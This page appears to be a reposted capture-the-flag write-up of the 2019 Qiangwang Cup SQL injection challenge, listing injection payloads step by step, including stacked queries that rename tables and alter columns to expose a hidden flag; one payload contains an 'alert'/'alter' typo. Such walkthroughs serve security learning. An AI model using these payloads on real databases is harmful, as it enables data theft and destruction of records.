首页
/
每日頭條
/
生活
/
sql注入漏洞原理與利用
sql注入漏洞原理與利用
更新时间:2026-02-15 21:39:17
[強網杯 2019] 随便注

每天學習網絡安全知識,本文記錄強網杯的一個SQL注入題。

sql注入漏洞原理與利用(黑客必會之SQL注入學習)1

使用單引号測試,發現頁面報錯,說明此處存在SQL注入漏洞。

sql注入漏洞原理與利用(黑客必會之SQL注入學習)2

1' 1''

sql注入漏洞原理與利用(黑客必會之SQL注入學習)3

既然此處存在漏洞,那麼我們就走正常流程測試下,如果不知道SQL注入正常流程的可以去看下我的sqllibs注入教程。

1.猜字段數

1' order by 3# 1' order by 2#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)4

sql注入漏洞原理與利用(黑客必會之SQL注入學習)5

使用第一個payload測試的時候發現頁面報錯,再使用第二個payload時發現頁面顯示正常,因此我們可以得知當前數據庫當前表存在2個字段。這時候嘗試union select進行聯合查詢。

2.使用聯合查詢

sql注入漏洞原理與利用(黑客必會之SQL注入學習)6

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

發現頁面提示過濾了許多關鍵的命令,看來需要一些騷操作了。

3.嘗試堆疊注入

1';show databases#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)7

發現成功爆出所有數據庫。使用show tables;試試看看能不能得到表名

-1';show tables#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)8

成功爆出當前數據庫的兩個表名;嘗試查詢表中的字段

0';show columns from `1919810931114514`;#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)9

發現有一個flag字段,接下來就是嘗試讀取flag。

4. 再查看words表的結構

0';desc words;#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)10

可以猜測我們提交查詢的窗口就是在這個表裡查詢數據的。

5. 那麼查詢語句很有可能是 : selsect id,data from words where id =

然後1919810931114514隻有一個flag字段這時候雖然有強大的正則過濾,但沒有過濾alert和rename關鍵字這時候我們就可以已下面的騷姿勢進行注入:1.将words表改名為word1或其它任意名字2.1919810931114514改名為words3.将新的word表插入一列,列名為id4.将flag列改名為data

1';rename table `words` to `word1`;rename table `1919810931114514` to `words`;alter table `words` add id int unsigned not Null auto_increment primary key; alert table `words` change `flag` `data` varchar(100);#

sql注入漏洞原理與利用(黑客必會之SQL注入學習)11

成功拿到flag。

,
Comments
Welcome to tft每日頭條 comments! Please keep conversations courteous and on-topic. To fosterproductive and respectful conversations, you may see comments from our Community Managers.
Sign up to post
Sort by
Show More Comments
推荐阅读
開衫分享4種比較實用的開衫穿法
開衫分享4種比較實用的開衫穿法
優雅永不過時,不管時尚界如何更替,有女人味又知性的單品是絕對不會過時的,在我心中,當季最優雅的單品是“開衫”,它保暖時髦,可塑性超強,是冬季必備的存在,能讓你輕松賺足回頭率,如果你想找到适合自己的款式,不妨看看這期穿搭講解,會收獲更多。首先...
2026-02-15
戀愛中有哪些小故事
戀愛中有哪些小故事
1000個戀愛故事,天呐,一千個字的文章我都很難打出來,1000個戀愛故事,讓我寫出來殺了我吧。其實1000個戀愛故事,每天一個,約等于2.7年。當你遇上了一個對的人,2年多的時間其實一晃而過,如果把2.7年的時間倒數,你會覺得太少。但如果...
2026-02-15
迷你碗蓮種藕種植方法
迷你碗蓮種藕種植方法
迷你碗蓮種藕種植方法?買到的碗蓮種藕,如果有新鮮的傷口,斷面的話,一定注意,不要泡在水裡,容易腐爛,要把它在水外面露着,直到傷口收緊,下面我們就來說一說關于迷你碗蓮種藕種植方法?我們一起去了解并探讨一下這個問題吧!迷你碗蓮種藕種植方法買到的...
2026-02-15
隴南市油橄榄發展情況
隴南市油橄榄發展情況
央視網消息:甘肅隴南是我國油橄榄的主産區之一。這幾天,當地油橄榄收獲已經進入尾聲,預計油橄榄鮮果産量達到5萬餘噸。這幾天,甘肅隴南外納鎮周家山村油橄榄種植戶周忠義正在忙着采收油橄榄。隴南這幾年陸續對一批老品種油橄榄以“高接換優”的方式進行改...
2026-02-15
30歲女如何保養抗衰老
30歲女如何保養抗衰老
雖然說身體的各項機能在30歲左右就會開始走下坡路,不過其過程非常緩慢,不管是在身材方面還是在健康方面,在30幾歲之時我們都不會感覺到有多大的變化,但是,到了40歲以後,這些變化就會相對明顯,特别是我們的外形,比如有了變胖的痕迹、身材也有了變...
2026-02-15
Copyright 2023-2026 - www.tftnews.com All Rights Reserved